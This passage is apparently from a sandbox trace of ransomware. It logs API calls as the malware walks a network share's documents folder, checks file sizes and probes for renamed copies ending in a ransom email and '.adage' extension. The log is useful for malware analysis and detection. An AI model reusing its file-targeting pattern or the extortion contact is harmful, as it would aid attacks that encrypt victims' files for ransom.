dwMilliseconds=0xffffffff) returned 0x0 [0139.650] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.650] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.650] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.650] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.650] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.842] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0139.842] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4fcfIBg3Ryeoeu27DM.docx" (normalized: "\\\\192.168.0.1\\documents\\4fcfibg3ryeoeu27dm.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0139.844] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=55552) returned 1 [0139.844] CloseHandle (hObject=0x2c8) returned 1 [0139.844] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4fcfIBg3Ryeoeu27DM.docx" (normalized: "\\\\192.168.0.1\\documents\\4fcfibg3ryeoeu27dm.docx")) returned 0x80 [0139.844] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4fcfIBg3Ryeoeu27DM.docx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\4fcfibg3ryeoeu27dm.docx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0139.844] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4fcfIBg3Ryeoeu27DM.docx" (normalized: "\\\\192.168.0.1\\documents\\4fcfibg3ryeoeu27dm.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.848] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0139.848] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\lDq8f54d4hhCIri7rU.rtf" (normalized: "\\\\192.168.0.1\\documents\\ldq8f54d4hhciri7ru.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0139.849] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=77013) returned 1 [0139.849] CloseHandle (hObject=0x2c8) returned 1 [0139.849] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\lDq8f54d4hhCIri7rU.rtf" (normalized: "\\\\192.168.0.1\\documents\\ldq8f54d4hhciri7ru.rtf")) returned 0x80 [0139.849] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\lDq8f54d4hhCIri7rU.rtf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ldq8f54d4hhciri7ru.rtf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0139.849] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\lDq8f54d4hhCIri7rU.rtf" (normalized: "\\\\192.168.0.1\\documents\\ldq8f54d4hhciri7ru.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.854] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0139.854] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\uX9C3BTlu7W5CJLwms.ppt" (normalized: "\\\\192.168.0.1\\documents\\ux9c3btlu7w5cjlwms.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0139.855] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=47203) returned 1 [0139.855] CloseHandle (hObject=0x2cc) returned 1 [0139.855] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\uX9C3BTlu7W5CJLwms.ppt" (normalized: "\\\\192.168.0.1\\documents\\ux9c3btlu7w5cjlwms.ppt")) returned 0x80 [0139.855] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\uX9C3BTlu7W5CJLwms.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ux9c3btlu7w5cjlwms.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0139.855] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\uX9C3BTlu7W5CJLwms.ppt" (normalized: "\\\\192.168.0.1\\documents\\ux9c3btlu7w5cjlwms.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.858] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0139.858] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vKgP03.mp3" (normalized: "\\\\192.168.0.1\\documents\\vkgp03.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0139.859] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=48744) returned 1 [0139.859] CloseHandle (hObject=0x2cc) returned 1 [0139.859] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vKgP03.mp3" (normalized: "\\\\192.168.0.1\\documents\\vkgp03.mp3")) returned 0x80 [0139.859] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vKgP03.mp3.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\vkgp03.mp3.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0139.859] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vKgP03.mp3" (normalized: "\\\\192.168.0.1\\documents\\vkgp03.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.863] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0139.863] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\a7jth.jpg" (normalized: "\\\\192.168.0.1\\documents\\a7jth.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0139.864] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=97421) returned 1 [0139.864] CloseHandle (hObject=0x2cc) returned 1 [0139.864] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\a7jth.jpg" (normalized: "\\\\192.168.0.1\\documents\\a7jth.jpg")) returned 0x80 [0139.864] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\a7jth.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\a7jth.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0139.864] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\a7jth.jpg" (normalized: "\\\\192.168.0.1\\documents\\a7jth.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.868] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0139.868] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\zYMAYhHoRyK6PFynZFc.mkv" (normalized: "\\\\192.168.0.1\\documents\\zymayhhoryk6pfynzfc.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0139.869] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=88257) returned 1 [0139.869] CloseHandle (hObject=0x2cc) returned 1 [0139.869] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\zYMAYhHoRyK6PFynZFc.mkv" (normalized: "\\\\192.168.0.1\\documents\\zymayhhoryk6pfynzfc.mkv")) returned 0x80 [0139.869] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\zYMAYhHoRyK6PFynZFc.mkv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\zymayhhoryk6pfynzfc.mkv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0139.869] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\zYMAYhHoRyK6PFynZFc.mkv" (normalized: "\\\\192.168.0.1\\documents\\zymayhhoryk6pfynzfc.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.873] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0139.873] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EGXGDc6zOuTQrpM.gif" (normalized: "\\\\192.168.0.1\\documents\\egxgdc6zoutqrpm.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0139.875] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=87146) returned 1 [0139.875] CloseHandle (hObject=0x2cc) returned 1 [0139.875] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EGXGDc6zOuTQrpM.gif" (normalized: "\\\\192.168.0.1\\documents\\egxgdc6zoutqrpm.gif")) returned 0x80 [0139.875] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EGXGDc6zOuTQrpM.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\egxgdc6zoutqrpm.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0139.875] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EGXGDc6zOuTQrpM.gif" (normalized: "\\\\192.168.0.1\\documents\\egxgdc6zoutqrpm.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.878] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0139.878] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2E6UGCq.doc" (normalized: "\\\\192.168.0.1\\documents\\2e6ugcq.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0139.880] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=62084) returned 1 [0139.880] CloseHandle (hObject=0x2cc) returned 1 [0139.880] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2E6UGCq.doc" (normalized: "\\\\192.168.0.1\\documents\\2e6ugcq.doc")) returned 0x80 [0139.880] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2E6UGCq.doc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\2e6ugcq.doc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0139.880] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2E6UGCq.doc" (normalized: "\\\\192.168.0.1\\documents\\2e6ugcq.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.884] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0139.884] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nCFz76aqfOi4GGvs9d9.m4a" (normalized: "\\\\192.168.0.1\\documents\\ncfz76aqfoi4ggvs9d9.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0139.886] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=78201) returned 1 [0139.886] CloseHandle (hObject=0x2cc) returned 1 [0139.886] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nCFz76aqfOi4GGvs9d9.m4a" (normalized: "\\\\192.168.0.1\\documents\\ncfz76aqfoi4ggvs9d9.m4a")) returned 0x80 [0139.886] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nCFz76aqfOi4GGvs9d9.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ncfz76aqfoi4ggvs9d9.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0139.886] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\nCFz76aqfOi4GGvs9d9.m4a" (normalized: "\\\\192.168.0.1\\documents\\ncfz76aqfoi4ggvs9d9.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.889] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0139.889] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\C9OE6MiLKOuTz5.avi" (normalized: "\\\\192.168.0.1\\documents\\c9oe6milkoutz5.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.890] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=20800) returned 1 [0139.890] CloseHandle (hObject=0x2b4) returned 1 [0139.890] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\C9OE6MiLKOuTz5.avi" (normalized: "\\\\192.168.0.1\\documents\\c9oe6milkoutz5.avi")) returned 0x80 [0139.890] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\C9OE6MiLKOuTz5.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\c9oe6milkoutz5.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0139.890] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\C9OE6MiLKOuTz5.avi" (normalized: "\\\\192.168.0.1\\documents\\c9oe6milkoutz5.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.894] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0139.894] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\b13UpS9k3v.swf" (normalized: "\\\\192.168.0.1\\documents\\b13ups9k3v.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.895] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=44927) returned 1 [0139.895] CloseHandle (hObject=0x2b4) returned 1 [0139.895] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\b13UpS9k3v.swf" (normalized: "\\\\192.168.0.1\\documents\\b13ups9k3v.swf")) returned 0x80 [0139.895] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\b13UpS9k3v.swf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\b13ups9k3v.swf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0139.895] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\b13UpS9k3v.swf" (normalized: "\\\\192.168.0.1\\documents\\b13ups9k3v.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.912] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0139.912] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MM3Rngzs9r6yCyV.csv" (normalized: "\\\\192.168.0.1\\documents\\mm3rngzs9r6ycyv.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.913] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=22395) returned 1 [0139.913] CloseHandle (hObject=0x2b4) returned 1 [0139.914] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MM3Rngzs9r6yCyV.csv" (normalized: "\\\\192.168.0.1\\documents\\mm3rngzs9r6ycyv.csv")) returned 0x80 [0139.914] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MM3Rngzs9r6yCyV.csv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\mm3rngzs9r6ycyv.csv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0139.914] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MM3Rngzs9r6yCyV.csv" (normalized: "\\\\192.168.0.1\\documents\\mm3rngzs9r6ycyv.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.917] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0139.917] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\p7Ha2r1u6wluhJ.pptx" (normalized: "\\\\192.168.0.1\\documents\\p7ha2r1u6wluhj.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.918] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=43828) returned 1 [0139.918] CloseHandle (hObject=0x2b4) returned 1 [0139.918] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\p7Ha2r1u6wluhJ.pptx" (normalized: "\\\\192.168.0.1\\documents\\p7ha2r1u6wluhj.pptx")) returned 0x80 [0139.919] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\p7Ha2r1u6wluhJ.pptx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\p7ha2r1u6wluhj.pptx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0139.919] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\p7Ha2r1u6wluhJ.pptx" (normalized: "\\\\192.168.0.1\\documents\\p7ha2r1u6wluhj.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.922] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0139.922] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\iJonu6wFMMd.bmp" (normalized: "\\\\192.168.0.1\\documents\\ijonu6wfmmd.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.924] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=35694) returned 1 [0139.924] CloseHandle (hObject=0x2b4) returned 1 [0139.924] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\iJonu6wFMMd.bmp" (normalized: "\\\\192.168.0.1\\documents\\ijonu6wfmmd.bmp")) returned 0x80 [0139.924] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\iJonu6wFMMd.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ijonu6wfmmd.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0139.925] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\iJonu6wFMMd.bmp" (normalized: "\\\\192.168.0.1\\documents\\ijonu6wfmmd.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.938] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0139.938] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\9lpH4LUvBOFfSshu6h.csv" (normalized: "\\\\192.168.0.1\\documents\\9lph4luvboffsshu6h.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.961] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=82126) returned 1 [0139.961] CloseHandle (hObject=0x2b4) returned 1 [0139.961] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\9lpH4LUvBOFfSshu6h.csv" (normalized: "\\\\192.168.0.1\\documents\\9lph4luvboffsshu6h.csv")) returned 0x80 [0139.961] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\9lpH4LUvBOFfSshu6h.csv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\9lph4luvboffsshu6h.csv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0139.961] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\9lpH4LUvBOFfSshu6h.csv" (normalized: "\\\\192.168.0.1\\documents\\9lph4luvboffsshu6h.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.051] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.051] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2XXFjQNQ26X8Wc.swf" (normalized: "\\\\192.168.0.1\\documents\\2xxfjqnq26x8wc.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0140.054] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=80473) returned 1 [0140.054] CloseHandle (hObject=0x2b4) returned 1 [0140.055] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2XXFjQNQ26X8Wc.swf" (normalized: "\\\\192.168.0.1\\documents\\2xxfjqnq26x8wc.swf")) returned 0x80 [0140.055] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2XXFjQNQ26X8Wc.swf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\2xxfjqnq26x8wc.swf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.056] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2XXFjQNQ26X8Wc.swf" (normalized: "\\\\192.168.0.1\\documents\\2xxfjqnq26x8wc.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.075] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.075] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KLswtt0JPiPQkCC6R3Lm.m4a" (normalized: "\\\\192.168.0.1\\documents\\klswtt0jpipqkcc6r3lm.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0140.087] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=54061) returned 1 [0140.087] CloseHandle (hObject=0x2b4) returned 1 [0140.088] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KLswtt0JPiPQkCC6R3Lm.m4a" (normalized: "\\\\192.168.0.1\\documents\\klswtt0jpipqkcc6r3lm.m4a")) returned 0x80 [0140.088] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KLswtt0JPiPQkCC6R3Lm.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\klswtt0jpipqkcc6r3lm.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.101] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KLswtt0JPiPQkCC6R3Lm.m4a" (normalized: "\\\\192.168.0.1\\documents\\klswtt0jpipqkcc6r3lm.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.105] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.105] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bVYQpQ1.mp4" (normalized: "\\\\192.168.0.1\\documents\\bvyqpq1.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0140.107] 